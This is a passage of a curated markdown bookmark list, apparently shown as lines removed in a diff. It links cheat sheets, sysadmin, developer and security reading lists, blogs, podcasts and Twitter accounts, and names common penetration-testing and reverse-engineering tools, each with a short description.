--   [✅] [**APISecurityBestPractices**](https://github.com/GitGuardian/APISecurityBestPractices) - help you keep secrets (API keys, db credentials, certificates) out of source code.
-
-##### ▪️ All-in-one
-
--   [✅] [**LZone Cheat Sheets**](https://lzone.de/cheat-sheet/) - all cheat sheets.
-
--   [✅] [**Dan's Cheat Sheets's**](https://github.com/rstacruz/cheatsheets) - massive cheat sheets documentation.
-
--   [✅] [**Rico's cheatsheets**](https://devhints.io/) - this is a modest collection of cheatsheets.
-
--   [✅] [**DevDocs API**](https://devdocs.io/) - combines multiple API documentations in a fast, organized, and searchable interface.
-
--   [✅] [**cheat.sh**](https://cheat.sh/) - the only cheat sheet you need.
-
--   [✅] [**gnulinux.guru**](https://gnulinux.guru/) - collection of cheat sheets about bash, vim and networking.
-
-##### ▪️ Ebooks
-
--   [✅] [**free-programming-books**](https://github.com/EbookFoundation/free-programming-books) - list of free learning resources in many languages.
-
-##### ▪️ Other
-
--   [✅] [**CTF Series : Vulnerable Machines**](https://bitvijays.github.io/LFC-VulnerableMachines.html) - the steps below could be followed to find vulnerabilities and exploits.
-
--   [✅] [**50M_CTF_Writeup**](https://github.com/manoelt/50M_CTF_Writeup) - $50 million CTF from Hackerone - writeup.
-
--   [✅] [**ctf-tasks**](https://github.com/j00ru/ctf-tasks) - an archive of low-level CTF challenges developed over the years.
-
--   [✅] [**How to start RE/malware analysis?**](https://hshrzd.wordpress.com/how-to-start/) - collection of some hints and useful links for the beginners.
-
--   [✅] [**The C10K problem**](http://www.kegel.com/c10k.html) - it's time for web servers to handle ten thousand clients simultaneously, don't you think?
-
--   [✅] [**How 1500 bytes became the MTU of the internet**](https://blog.benjojo.co.uk/post/why-is-ethernet-mtu-1500) - great story about the Maximum Transmission Unit.
-
--   [✅] [**poor man's profiler**](http://poormansprofiler.org/) - like dtrace's don't really provide methods to see what programs are blocking on.
-
--   [✅] [**HTTPS on Stack Overflow**](https://nickcraver.com/blog/2017/05/22/https-on-stack-overflow/) - this is the story of a long journey regarding the implementation of SSL.
-
--   [✅] [**Julia's Drawings**](https://drawings.jvns.ca/) - some drawings about programming and unix world, zines about systems & debugging tools.
-
--   [✅] [**Hash collisions**](https://github.com/corkami/collisions) - this great repository is focused on hash collisions exploitation.
-
--   [✅] [**sha256-animation**](https://github.com/in3rsha/sha256-animation) - animation of the SHA-256 hash function in your terminal.
-
--   [✅] [**BGP Meets Cat**](https://labs.ripe.net/Members/cteusche/bgp-meets-cat) - after 3072 hours of manipulating BGP, Job Snijders has succeeded in drawing a Nyancat.
-
--   [✅] [**bgp-battleships**](https://github.com/benjojo/bgp-battleships) - playing battleships over BGP.
-
--   [✅] [**What happens when...**](https://github.com/alex/what-happens-when) - you type google.com into your browser and press enter?
-
--   [✅] [**how-web-works**](https://github.com/vasanthk/how-web-works) - based on the 'What happens when...' repository.
-
--   [✅] [**HTTPS in the real world**](https://robertheaton.com/2018/11/28/https-in-the-real-world/) - great tutorial explain how HTTPS works in the real world.
-
--   [✅] [**Gitlab and NFS bug**](https://about.gitlab.com/2018/11/14/how-we-spent-two-weeks-hunting-an-nfs-bug/) - how we spent two weeks hunting an NFS bug in the Linux kernel.
-
--   [✅] [**Gitlab melts down**](https://about.gitlab.com/2017/02/10/postmortem-of-database-outage-of-january-31/) - postmortem on the database outage of January 31 2017 with the lessons we learned.
-
--   [✅] [**How To Become A Hacker**](http://www.catb.org/esr/faqs/hacker-howto.html) - if you want to be a hacker, keep reading.
-
--   [✅] [**Operation Costs in CPU**](http://ithare.com/infographics-operation-costs-in-cpu-clock-cycles/) - should help to estimate costs of certain operations in CPU clocks.
-
--   [✅] [**Let's Build a Simple Database**](https://cstack.github.io/db_tutorial/) - writing a sqlite clone from scratch in C.
-
--   [✅] [**simple-computer**](https://djhworld.github.io/post/2019/05/21/i-dont-know-how-cpus-work-so-i-simulated-one-in-code/) - great resource to understand how computers work under the hood.
-
--   [✅] [**The story of "Have I been pwned?"**](https://www.troyhunt.com/working-with-154-million-records-on/) - working with 154 million records on Azure Table Storage.
-
--   [✅] [**TOP500 Supercomputers**](https://www.top500.org/) - shows the 500 most powerful commercially available computer systems known to us.
-
--   [✅] [**How to build a 8 GPU password cracker**](https://www.shellntel.com/blog/2017/2/8/how-to-build-a-8-gpu-password-cracker) - any "black magic" or hours of frustration like desktop components do.
-
--   [✅] [**CERN Data Centre**](https://home.cern/science/computing) - 3D visualizations of the CERN computing environments (and more).
-
--   [✅] [**How fucked is my database**](http://howfuckedismydatabase.com/) - evaluate how fucked your database is with this handy website.
-
--   [✅] [**Linux Troubleshooting 101 , 2016 Edition**](https://krisbuytaert.be/blog/linux-troubleshooting-101-2016-edition/index.html) - everything is a DNS Problem...
-
--   [✅] [**Five Whys**](https://open.buffer.com/5-whys-process/) - you know what the problem is, but you cannot solve it?
-
--   [✅] [**Maersk, me & notPetya**](https://gvnshtn.com/maersk-me-notpetya/) - how did ransomware successfully hijack hundreds of domain controllers?
-
--   [✅] [**howhttps.works**](https://howhttps.works/) - how HTTPS works ...in a comic!
-
--   [✅] [**howdns.works**](https://howdns.works/) - a fun and colorful explanation of how DNS works.
-
--   [✅] [**POSTGRESQLCO.NF**](https://postgresqlco.nf/en/doc/param/) - your postgresql.conf documentation and recommendations.
-
-#### Inspiring Lists [\[TOC\]](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#anger-table-of-contents)
-
-##### ▪️ SysOps/DevOps
-
--   [✅] [**Awesome Sysadmin**](https://github.com/kahun/awesome-sysadmin) - amazingly awesome open source sysadmin resources.
-
--   [✅] [**Awesome Shell**](https://github.com/alebcay/awesome-shell) - awesome command-line frameworks, toolkits, guides and gizmos.
-
--   [✅] [**Command-line-text-processing**](https://github.com/learnbyexample/Command-line-text-processing) - finding text to search and replace, sorting to beautifying, and more.
-
--   [✅] [**Awesome Pcaptools**](https://github.com/caesar0301/awesome-pcaptools) - collection of tools developed by other researchers to process network traces.
-
--   [✅] [**awesome-ebpf**](https://github.com/zoidbergwill/awesome-ebpf) - a curated list of awesome projects related to eBPF.
-
--   [✅] [**Linux Network Performance**](https://github.com/leandromoreira/linux-network-performance-parameters) - where some of the network sysctl variables fit into the Linux/Kernel network flow.
-
--   [✅] [**Awesome Postgres**](https://github.com/dhamaniasad/awesome-postgres) - list of awesome PostgreSQL software, libraries, tools and resources.
-
--   [✅] [**quick-SQL-cheatsheet**](https://github.com/enochtangg/quick-SQL-cheatsheet) - a quick reminder of all SQL queries and examples on how to use them.
-
--   [✅] [**Awesome-Selfhosted**](https://github.com/Kickball/awesome-selfhosted) - list of Free Software network services and web applications which can be hosted locally.
-
--   [✅] [**List of applications**](https://wiki.archlinux.org/index.php/List_of_applications) - huge list of apps sorted by category, as a reference for those looking for packages.
-
--   [✅] [**CS-Interview-Knowledge-Map**](https://github.com/InterviewMap/CS-Interview-Knowledge-Map) - build the best interview map.
-
--   [✅] [**DevOps-Guide**](https://github.com/Tikam02/DevOps-Guide) - DevOps Guide from basic to advanced with Interview Questions and Notes.
-
--   [✅] [**FreeBSD Journal**](https://issue.freebsdfoundation.org/publication/?m=33057&l=1&view=issuelistBrowser) - it is a great list of periodical magazines about FreeBSD and other important things.
-
--   [✅] [**devops-interview-questions**](https://github.com/bregman-arie/devops-interview-questions) - contains interview questions on various DevOps and SRE related topics.
-
-##### ▪️ Developers
-
--   [✅] [**Web Developer Roadmap**](https://github.com/kamranahmedse/developer-roadmap) - roadmaps, articles and resources to help you choose your path, learn and improve.
-
--   [✅] [**Front-End-Checklist**](https://github.com/thedaviddias/Front-End-Checklist) - the perfect Front-End Checklist for modern websites and meticulous developers.
-
--   [✅] [**Front-End-Performance-Checklist**](https://github.com/thedaviddias/Front-End-Performance-Checklist) - Front-End Performance Checklist that runs faster than the others.
-
--   [✅] [**Python's Magic Methods**](https://rszalski.github.io/magicmethods/) - what are magic methods? They're everything in object-oriented Python.
-
--   [✅] [**wtfpython**](https://github.com/satwikkansal/wtfpython) - a collection of surprising Python snippets and lesser-known features.
-
--   [✅] [**js-dev-reads**](https://github.com/twhite96/js-dev-reads) - a list of books and articles for the discerning web developer to read.
-
--   [✅] [**Commit messages guide**](https://github.com/RomuloOliveira/commit-messages-guide) - a guide to understand the importance of commit messages.
-
-##### ▪️ Security/Pentesting
-
--   [✅] [**Awesome Web Security**](https://github.com/qazbnm456/awesome-web-security) - a curated list of Web Security materials and resources.
-
--   [✅] [**awesome-cyber-skills**](https://github.com/joe-shenouda/awesome-cyber-skills) - a curated list of hacking environments where you can train your cyber skills.
-
--   [✅] [**awesome-devsecops**](https://github.com/devsecops/awesome-devsecops) - an authoritative list of awesome devsecops tools.
-
--   [✅] [**awesome-osint**](https://github.com/jivoi/awesome-osint) - is a curated list of amazingly awesome OSINT.
-
--   [✅] [**HolyTips**](https://github.com/HolyBugx/HolyTips) - tips and tutorials on Bug Bounty Hunting and Web App Security.
-
--   [✅] [**awesome-threat-intelligence**](https://github.com/hslatman/awesome-threat-intelligence) - a curated list of Awesome Threat Intelligence resources.
-
--   [✅] [**Red-Teaming-Toolkit**](https://github.com/infosecn1nja/Red-Teaming-Toolkit) - a collection of open source and commercial tools that aid in red team operations.
-
--   [✅] [**awesome-burp-extensions**](https://github.com/snoopysecurity/awesome-burp-extensions) - a curated list of amazingly awesome Burp Extensions.
-
--   [✅] [**Free Security eBooks**](https://github.com/Hack-with-Github/Free-Security-eBooks) - list of a Free Security and Hacking eBooks.
-
--   [✅] [**Hacking-Security-Ebooks**](https://github.com/yeahhub/Hacking-Security-Ebooks) - top 100 Hacking & Security E-Books.
-
--   [✅] [**privacy-respecting**](https://github.com/nikitavoloboev/privacy-respecting) - curated list of privacy respecting services and software.
-
--   [✅] [**reverse-engineering**](https://github.com/wtsxDev/reverse-engineering) - list of awesome reverse engineering resources.
-
--   [✅] [**linux-re-101**](https://github.com/michalmalik/linux-re-101) - a collection of resources for linux reverse engineering.
-
--   [✅] [**reverseengineering-reading-list**](https://github.com/onethawt/reverseengineering-reading-list) - a list of Reverse Engineering articles, books, and papers.
-
--   [✅] [**Awesome-WAF**](https://github.com/0xInfection/Awesome-WAF) - a curated list of awesome web-app firewall (WAF) stuff.
-
--   [✅] [**awesome-shodan-queries**](https://github.com/jakejarvis/awesome-shodan-queries) - interesting, funny, and depressing search queries to plug into shodan.io.
-
--   [✅] [**RobotsDisallowed**](https://github.com/danielmiessler/RobotsDisallowed) - a curated list of the most common and most interesting robots.txt disallowed directories.
-
--   [✅] [**HackingNeuralNetworks**](https://github.com/Kayzaks/HackingNeuralNetworks) - is a small course on exploiting and defending neural networks.
-
--   [✅] [**wildcard-certificates**](https://gist.github.com/joepie91/7e5cad8c0726fd6a5e90360a754fc568) - why you probably shouldn't use a wildcard certificate.
-
--   [✅] [**Don't use VPN services**](https://gist.github.com/joepie91/5a9909939e6ce7d09e29) - which is what every third-party "VPN provider" does.
-
--   [✅] [**awesome-yara**](https://github.com/InQuest/awesome-yara) - a curated list of awesome YARA rules, tools, and people.
-
--   [✅] [**macOS-Security-and-Privacy-Guide**](https://github.com/drduh/macOS-Security-and-Privacy-Guide) - guide to securing and improving privacy on macOS.
-
--   [✅] [**macos_security**](https://github.com/usnistgov/macos_security) - macOS Security Compliance Project.
-
--   [✅] [**awesome-sec-talks**](https://github.com/PaulSec/awesome-sec-talks) - is a collected list of awesome security talks.
-
--   [✅] [**Movies for Hackers**](https://github.com/k4m4/movies-for-hackers) - list of movies every hacker & cyberpunk must watch.
-
--   [✅] [**Cryptography_1**](https://github.com/danieldizzy/Cryptography_1) - materials used whilst taking Prof. Dan Boneh Stanford Crypto course.
-
--   [✅] [**Crypton**](https://github.com/ashutosh1206/Crypton) - library to learn and practice Offensive and Defensive Cryptography.
-
-##### ▪️ Other
-
--   [✅] [**Cheatography**](https://www.cheatography.com/) - over 3,000 free cheat sheets, revision aids and quick references.
-
--   [✅] [**awesome-static-analysis**](https://github.com/mre/awesome-static-analysis) - static analysis tools for all programming languages.
-
--   [✅] [**computer-science**](https://github.com/ossu/computer-science) - path to a free self-taught education in Computer Science.
-
--   [✅] [**post-mortems**](https://github.com/danluu/post-mortems) - is a collection of postmortems (config errors, hardware failures, and more).
-
--   [✅] [**build-your-own-x**](https://github.com/danistefanovic/build-your-own-x) - build your own (insert technology here).
-
--   [✅] [**Project-Based-Tutorials-in-C**](https://github.com/rby90/Project-Based-Tutorials-in-C) - is a curated list of project-based tutorials in C.
-
--   [✅] [**The-Documentation-Compendium**](https://github.com/kylelobo/The-Documentation-Compendium) - various README templates & tips on writing high-quality documentation.
-
--   [✅] [**awesome-python-applications**](https://github.com/mahmoud/awesome-python-applications) - free software that works great, and also happens to be open-source Python.
-
--   [✅] [**awesome-public-datasets**](https://github.com/awesomedata/awesome-public-datasets) - a topic-centric list of HQ open datasets.
-
--   [✅] [**machine-learning-algorithms**](https://github.com/Sahith02/machine-learning-algorithms) - a curated list of all machine learning algorithms and concepts.
-
-#### Blogs/Podcasts/Videos [\[TOC\]](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#anger-table-of-contents)
-
-##### ▪️ SysOps/DevOps
-
--   [✅] [**Varnish for PHP developers**](https://www.youtube.com/watch?v=nAFpkV5-vuI) - very interesting presentation of Varnish by Mattias Geniar.
-
--   [✅] [**A Netflix Guide to Microservices**](https://www.youtube.com/watch?v=CZ3wIuvmHeM) - talks about the chaotic and vibrant world of microservices at Netflix.
-
-##### ▪️ Developers
-
--   [✅] [**Comparing C to machine lang**](https://www.youtube.com/watch?v=yOyaJXpAYZQ) - compare a simple C app with the compiled machine code of that program.
-
-##### ▪️ Geeky Persons
-
--   [✅] [**Brendan Gregg's Blog**](http://www.brendangregg.com/) - is an industry expert in computing performance and cloud computing.
-
--   [✅] [**Gynvael "GynDream" Coldwind**](https://gynvael.coldwind.pl/) - is a IT security engineer at Google.
-
--   [✅] [**Michał "lcamtuf" Zalewski**](http://lcamtuf.coredump.cx/) - white hat hacker, computer security expert.
-
--   [✅] [**Mattias Geniar**](https://ma.ttias.be/) - developer, sysadmin, blogger, podcaster and public speaker.
-
--   [✅] [**Nick Craver**](https://nickcraver.com/) - software developer and systems administrator for Stack Exchange.
-
--   [✅] [**Scott Helme**](https://scotthelme.co.uk/) - security researcher, speaker and founder of securityheaders.com and report-uri.com.
-
--   [✅] [**Brian Krebs**](https://krebsonsecurity.com/) - The Washington Post and now an Independent investigative journalist.
-
--   [✅] [**Bruce Schneier**](https://www.schneier.com/) - is an internationally renowned security technologist, called a "security guru".
-
--   [✅] [**Chrissy Morgan**](https://chrissymorgan.co.uk/) - advocate of practical learning, Chrissy also takes part in bug bounty programs.
-
--   [✅] [**Andy Gill**](https://blog.zsec.uk/) - is a hacker at heart who works as a senior penetration tester.
-
--   [✅] [**Daniel Miessler**](https://danielmiessler.com/) - cybersecurity expert and writer.
-
--   [✅] [**Samy Kamkar**](https://samy.pl/) - is an American privacy and security researcher, computer hacker.
-
--   [✅] [**Javvad Malik**](https://www.j4vv4d.com/) - is a security advocate at AlienVault, a blogger event speaker and industry commentator.
-
--   [✅] [**Graham Cluley**](https://www.grahamcluley.com/) - public speaker and independent computer security analyst.
-
--   [✅] [**Kacper Szurek**](https://security.szurek.pl/) - detection engineer at ESET.
-
--   [✅] [**Troy Hunt**](https://www.troyhunt.com/) - web security expert known for public education and outreach on security topics.
-
--   [✅] [**raymii.org**](https://raymii.org/s/index.html) - sysadmin specializing in building high availability cloud environments.
-
--   [✅] [**Robert Penz**](https://robert.penz.name/) - IT security expert.
-
-##### ▪️ Geeky Blogs
-
--   [✅] [**Linux Audit**](https://linux-audit.com/) - the Linux security blog about auditing, hardening and compliance by Michael Boelen.
-
--   [✅] [**Linux Security Expert**](https://linuxsecurity.expert/) - trainings, howtos, checklists, security tools, and more.
-
--   [✅] [**The Grymoire**](http://www.grymoire.com/) - collection of useful incantations for wizards, be you computer wizards, magicians, or whatever.
-
--   [✅] [**Secjuice**](https://www.secjuice.com/) - is the only non-profit, independent and volunteer led publication in the information security space.
-
--   [✅] [**Decipher**](https://duo.com/decipher) - security news that informs and inspires.
-
-##### ▪️ Geeky Vendor Blogs
-
--   [✅] [**Tenable Podcast**](https://www.tenable.com/podcast) - conversations and interviews related to Cyber Exposure, and more.
-
--   [✅] [**Sophos**](https://nakedsecurity.sophos.com/) - threat news room, giving you news, opinion, advice and research on computer security issues.
-
--   [✅] [**Tripwire State of Security**](https://www.tripwire.com/state-of-security/) - blog featuring the latest news, trends and insights on current security issues.
-
--   [✅] [**Malwarebytes Labs Blog**](https://blog.malwarebytes.com/) - security blog aims to provide insider news about cybersecurity.
-
--   [✅] [**TrustedSec**](https://www.trustedsec.com/category/articles/) - latest news, and trends about cybersecurity.
-
--   [✅] [**PortSwigger Web Security Blog**](https://portswigger.net/blog) - about web app security vulns and top tips from our team of web security.
-
--   [✅] [**AT\&T Cybersecurity blog**](https://www.alienvault.com/blogs) - news on emerging threats and practical advice to simplify threat detection.
-
--   [✅] [**Thycotic**](https://thycotic.com/company/blog/) - where CISOs and IT Admins come to learn about industry trends, IT security, and more.
-
-##### ▪️ Geeky Cybersecurity Podcasts
-
--   [✅] [**Risky Business**](https://risky.biz/netcasts/risky-business/) - is a weekly information security podcast featuring news and in-depth interviews.
-
--   [✅] [**Cyber, by Motherboard**](https://www.vice.com/en_us/topic/cyber) - stories, and focus on the ideas about cybersecurity.
-
--   [✅] [**Tenable Podcast**](https://www.tenable.com/podcast) - conversations and interviews related to Cyber Exposure, and more.
-
--   [✅] [**Cybercrime Investigations**](https://podcasts.apple.com/gb/podcast/cybercrime-investigations/id1428801405) - podcast by Geoff White about cybercrimes.
-
--   [✅] [**The many hats club**](https://themanyhats.club/tag/episodes/) - featuring stories from a wide range of Infosec people (Whitehat, Greyhat and Blackhat).
-
--   [✅] [**Darknet Diaries**](https://darknetdiaries.com/) - true stories from the dark side of the Internet.
-
--   [✅] [**OSINTCurious Webcasts**](https://www.youtube.com/playlist?list=PL423I_gHbWUXah3dmt_q_XNp0NlGAKjis) - is the investigative curiosity that helps people be successful in OSINT.
-
--   [✅] [**Security Weekly**](https://www.youtube.com/user/SecurityWeeklyTV) - the latest information security and hacking news.
-
-##### ▪️ Geeky Cybersecurity Video Blogs
-
--   [✅] [**rev3rse security**](https://www.youtube.com/channel/UCzvJStjySZVvOBsPl-Vgj0g) - offensive, binary exploitation, web app security, hardening, red team, blue team.
-
--   [✅] [**LiveOverflow**](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) - a lot more advanced topics than what is typically offered in paid online courses - but for free.
-
--   [✅] [**J4vv4D**](https://www.youtube.com/infoseccynic) - the important information regarding our internet security.
-
--   [✅] [**CyberTalks**](https://cybertalks.co.uk/) - talks, interviews, and article about cybersecurity.
-
-##### ▪️ Best Personal Twitter Accounts
-
--   [✅] [**@blackroomsec**](https://twitter.com/blackroomsec) - a white-hat hacker/pentester. Intergalactic Minesweeper Champion 1990.
-
--   [✅] [**@MarcoCiappelli**](https://twitter.com/MarcoCiappelli) - Co-Founder @ITSPmagazine, at the intersection of IT security and society.
-
--   [✅] [**@binitamshah**](https://twitter.com/binitamshah) - Linux Evangelist. Malwares. Kernel Dev. Security Enthusiast.
-
--   [✅] [**@joe_carson**](https://twitter.com/joe_carson) - an InfoSec Professional and Tech Geek.
-
--   [✅] [**@mikko**](https://twitter.com/mikko) - CRO at F-Secure, Reverse Engineer, TED Speaker, Supervillain.
-
--   [✅] [**@esrtweet**](https://twitter.com/esrtweet) - often referred to as ESR, is an American software developer, and open-source software advocate.
-
--   [✅] [**@gynvael**](https://twitter.com/gynvael) - security researcher/programmer, @DragonSectorCTF founder/player, technical streamer.
-
--   [✅] [**@x0rz**](https://twitter.com/x0rz) - Security Researcher & Cyber Observer.
-
--   [✅] [**@hasherezade**](https://twitter.com/hasherezade) - programmer, malware analyst. Author of PEbear, PEsieve, libPeConv.
-
--   [✅] [**@TinkerSec**](https://twitter.com/TinkerSec) - tinkerer, cypherpunk, hacker.
-
--   [✅] [**@alisaesage**](https://twitter.com/alisaesage) - independent hacker and researcher.
-
--   [✅] [**@SwiftOnSecurity**](https://twitter.com/SwiftOnSecurity) - systems security, industrial safety, sysadmin, author of decentsecurity.com.
-
--   [✅] [**@dakami**](https://twitter.com/dakami) - is one of just seven people with the authority to restore the DNS root keys.
-
--   [✅] [**@samykamkar**](https://twitter.com/samykamkar) - is a famous "grey hat" hacker, security researcher, creator of the MySpace "Samy" worm.
-
--   [✅] [**@securityweekly**](https://twitter.com/securityweekly) - founder & CTO of Security Weekly podcast network.
-
--   [✅] [**@jack_daniel**](https://twitter.com/jack_daniel) - @SecurityBSides co-founder.
-
--   [✅] [**@thegrugq**](https://twitter.com/thegrugq) - Security Researcher.
-
--   [✅] [**@matthew_d_green**](https://twitter.com/matthew_d_green) - a cryptographer and professor at Johns Hopkins University.
-
-##### ▪️ Best Commercial Twitter Accounts
-
--   [✅] [**@haveibeenpwned**](https://twitter.com/haveibeenpwned) - check if you have an account that has been compromised in a data breach.
-
--   [✅] [**@bugcrowd**](https://twitter.com/bugcrowd) - trusted by more of the Fortune 500 than any other crowdsourced security platform.
-
--   [✅] [**@Malwarebytes**](https://twitter.com/Malwarebytes) - most trusted security company. Unmatched threat visibility.
-
--   [✅] [**@sansforensics**](https://twitter.com/sansforensics) - the world's leading Digital Forensics and Incident Response provider.
-
--   [✅] [**@attcyber**](https://twitter.com/attcyber) - AT\&T Cybersecurity's Edge-to-Edge technologies provide threat intelligence, and more.
-
--   [✅] [**@TheManyHatsClub**](https://twitter.com/TheManyHatsClub) - an information security focused podcast and group of individuals from all walks of life.
-
--   [✅] [**@hedgehogsec**](https://twitter.com/hedgehogsec) - Hedgehog Cyber. Gibraltar and Manchester's top boutique information security firm.
-
--   [✅] [**@NCSC**](https://twitter.com/NCSC) - the National Cyber Security Centre. Helping to make the UK the safest place to live and work online.
-
--   [✅] [**@Synacktiv**](https://twitter.com/Synacktiv) - IT security experts.
-
-##### ▪️ A piece of history
-
--   [✅] [**How to Do Things at ARL**](http://ftp.arl.army.mil/~mike/howto/) - how to configure modems, scan images, record CD-ROMs, and other.**\***
-
-##### ▪️ Other
-
--   [✅] [**Diffie-Hellman Key Exchange (short version)**](https://www.youtube.com/watch?v=3QnD2c4Xovk) - how Diffie-Hellman Key Exchange worked.
-
-#### Hacking/Penetration Testing [\[TOC\]](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#anger-table-of-contents)
-
-##### ▪️ Pentesters arsenal tools
-
--   [✅] [**Sandcat Browser**](http://www.syhunt.com/sandcat/) - a penetration-oriented browser with plenty of advanced functionality already built in.
-
--   [✅] [**Metasploit**](https://www.metasploit.com/) - tool and framework for pentesting system, web and many more, contains a lot a ready to use exploit.
-
--   [✅] [**Burp Suite**](https://portswigger.net/burp) - tool for testing web app security, intercepting proxy to replay, inject, scan and fuzz.
-
--   [✅] [**OWASP Zed Attack Proxy**](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) - intercepting proxy to replay, inject, scan and fuzz HTTP requests.
-
--   [✅] [**w3af**](http://w3af.org/) - is a Web Application Attack and Audit Framework.
-
--   [✅] [**mitmproxy**](https://mitmproxy.org/) - an interactive TLS-capable intercepting HTTP proxy for penetration testers.
-
--   [✅] [**Nikto2**](https://cirt.net/Nikto2) - web server scanner which performs comprehensive tests against web servers for multiple items.
-
--   [✅] [**sqlmap**](http://sqlmap.org/) - tool that automates the process of detecting and exploiting SQL injection flaws.
-
--   [✅] [**Recon-ng**](https://github.com/lanmaster53/recon-ng) - is a full-featured Web Reconnaissance framework written in Python.
-
--   [✅] [**AutoRecon**](https://github.com/Tib3rius/AutoRecon) - is a network reconnaissance tool which performs automated enumeration of services.
-
--   [✅] [**Faraday**](https://www.faradaysec.com/) - an Integrated Multiuser Pentest Environment.
-
--   [✅] [**Photon**](https://github.com/s0md3v/Photon) - incredibly fast crawler designed for OSINT.
-
--   [✅] [**XSStrike**](https://github.com/s0md3v/XSStrike) - most advanced XSS detection suite.
-
--   [✅] [**Sn1per**](https://github.com/1N3/Sn1per) - automated pentest framework for offensive security experts.
-
--   [✅] [**vuls**](https://github.com/future-architect/vuls) - is an agent-less vulnerability scanner for Linux, FreeBSD, and other.
-
--   [✅] [**tsunami**](https://github.com/google/tsunami-security-scanner) - is a general purpose network security scanner with an extensible plugin system.
-
--   [✅] [**aquatone**](https://github.com/michenriksen/aquatone) - a tool for domain flyovers.
-
--   [✅] [**BillCipher**](https://github.com/GitHackTools/BillCipher) - information gathering tool for a website or IP address.
-
--   [✅] [**WhatWaf**](https://github.com/Ekultek/WhatWaf) - detect and bypass web application firewalls and protection systems.
-
--   [✅] [**Corsy**](https://github.com/s0md3v/Corsy) - CORS misconfiguration scanner.
-
--   [✅] [**Raccoon**](https://github.com/evyatarmeged/Raccoon) - is a high performance offensive security tool for reconnaissance and vulnerability scanning.
-
--   [✅] [**dirhunt**](https://github.com/Nekmo/dirhunt) - find web directories without bruteforce.
-
--   [✅] [**John The Ripper**](https://www.openwall.com/john/) - is a fast password cracker, currently available for many flavors of Unix, Windows, and other.
-
--   [✅] [**hashcat**](https://hashcat.net/hashcat/) - world's fastest and most advanced password recovery utility.
-
--   [✅] [**p0f**](http://lcamtuf.coredump.cx/p0f3/) - is a tool to identify the players behind any incidental TCP/IP communications.
-
--   [✅] [**ssh_scan**](https://github.com/mozilla/ssh_scan) - a prototype SSH configuration and policy scanner.
-
--   [✅] [**LeakLooker**](https://github.com/woj-ciech/LeakLooker) - find open databases - powered by Binaryedge.io
-
--   [✅] [**exploitdb**](https://github.com/offensive-security/exploitdb) - searchable archive from The Exploit Database.
-
--   [✅] [**getsploit**](https://github.com/vulnersCom/getsploit) - is a command line utility for searching and downloading exploits.
-
--   [✅] [**ctf-tools**](https://github.com/zardus/ctf-tools) - some setup scripts for security research tools.
-
--   [✅] [**pwntools**](https://github.com/Gallopsled/pwntools) - CTF framework and exploit development library.
-
--   [✅] [**security-tools**](https://github.com/bl4de/security-tools) - collection of small security tools created mostly in Python. CTFs, pentests and so on.
-
--   [✅] [**pentestpackage**](https://github.com/leonteale/pentestpackage) - is a package of Pentest scripts.
-
--   [✅] [**python-pentest-tools**](https://github.com/dloss/python-pentest-tools) - python tools for penetration testers.
-
--   [✅] [**fuzzdb**](https://github.com/fuzzdb-project/fuzzdb) - dictionary of attack patterns and primitives for black-box application fault injection.
-
--   [✅] [**AFL**](https://github.com/google/AFL) - is a free software fuzzer maintained by Google.
-
--   [✅] [**AFL++**](https://github.com/AFLplusplus/AFLplusplus) - is AFL with community patches.
-
--   [✅] [**syzkaller**](https://github.com/google/syzkaller) - is an unsupervised, coverage-guided kernel fuzzer.
-
--   [✅] [**pwndbg**](https://github.com/pwndbg/pwndbg) - exploit development and reverse engineering with GDB made easy.
-
--   [✅] [**GDB PEDA**](https://github.com/longld/peda) - Python Exploit Development Assistance for GDB.
-
--   [✅] [**IDA**](https://www.hex-rays.com/products/ida/index.shtml) - multi-processor disassembler and debugger useful for reverse engineering malware.
-
--   [✅] [**radare2**](https://github.com/radare/radare2) - framework for reverse-engineering and analyzing binaries.
-
--   [✅] [**routersploit**](https://github.com/threat9/routersploit) - exploitation framework for embedded devices.
-
--   [✅] [**Ghidra**](https://github.com/NationalSecurityAgency/ghidra) - is a software reverse engineering (SRE) framework.
-
--   [✅] [**Cutter**](https://cutter.re/) - is an SRE platform integrating Ghidra's decompiler.
-
--   [✅] [**Vulnreport**](https://github.com/salesforce/vulnreport) - open-source pentesting management and automation platform by Salesforce Product Security.
-
--   [✅] [**Mentalist**](https://github.com/sc0tfree/mentalist) - is a graphical tool for custom wordlist generation.
-
--   [✅] [**archerysec**](https://github.com/archerysec/archerysec) - vulnerability assessment and management helps to perform scans and manage vulnerabilities.
-
--   [✅] [**Osmedeus**](https://github.com/j3ssie/Osmedeus) - fully automated offensive security tool for reconnaissance and vulnerability scanning.
-
--   [✅] [**beef**](https://github.com/beefproject/beef) - the browser exploitation framework project.
-
--   [✅] [**AutoSploit**](https://github.com/NullArray/AutoSploit) - automated mass exploiter.
-
--   [✅] [**SUDO_KILLER**](https://github.com/TH3xACE/SUDO_KILLER) - is a tool to identify and exploit sudo rules' misconfigurations and vulnerabilities.
-
--   [✅] [**yara**](https://github.com/VirusTotal/yara) - the pattern matching swiss knife.
-
--   [✅] [**mimikatz**](https://github.com/gentilkiwi/mimikatz) - a little tool to play with Windows security.
-
--   [✅] [**sherlock**](https://github.com/sherlock-project/sherlock) - hunt down social media accounts by username across social networks.
-
--   [✅] [**OWASP Threat Dragon**](https://owasp.org/www-project-threat-dragon/) - is a tool used to create threat model diagrams and to record possible threats.
-
-##### ▪️ Pentests bookmarks collection
-
--   [✅] [**PTES**](http://www.pentest-standard.org/index.php/Main_Page) - the penetration testing execution standard.
-
--   [✅] [**Pentests MindMap**](https://www.amanhardikar.com/mindmaps/Practice.html) - amazing mind map with vulnerable apps and systems.
-
--   [✅] [**WebApps Security Tests MindMap**](https://www.amanhardikar.com/mindmaps/webapptest.html) - incredible mind map for WebApps security tests.
-
--   [✅] [**Brute XSS**](https://brutelogic.com.br/blog/) - master the art of Cross Site Scripting.
-
--   [✅] [**XSS cheat sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) - contains many vectors that can help you bypass WAFs and filters.
-
--   [✅] [**Offensive Security Bookmarks**](https://jivoi.github.io/2015/07/03/offensive-security-bookmarks/) - security bookmarks collection, all things that author need to pass OSCP.
-
--   [✅] [**Awesome Pentest Cheat Sheets**](https://github.com/coreb1t/awesome-pentest-cheat-sheets) - collection of the cheat sheets useful for pentesting.
-
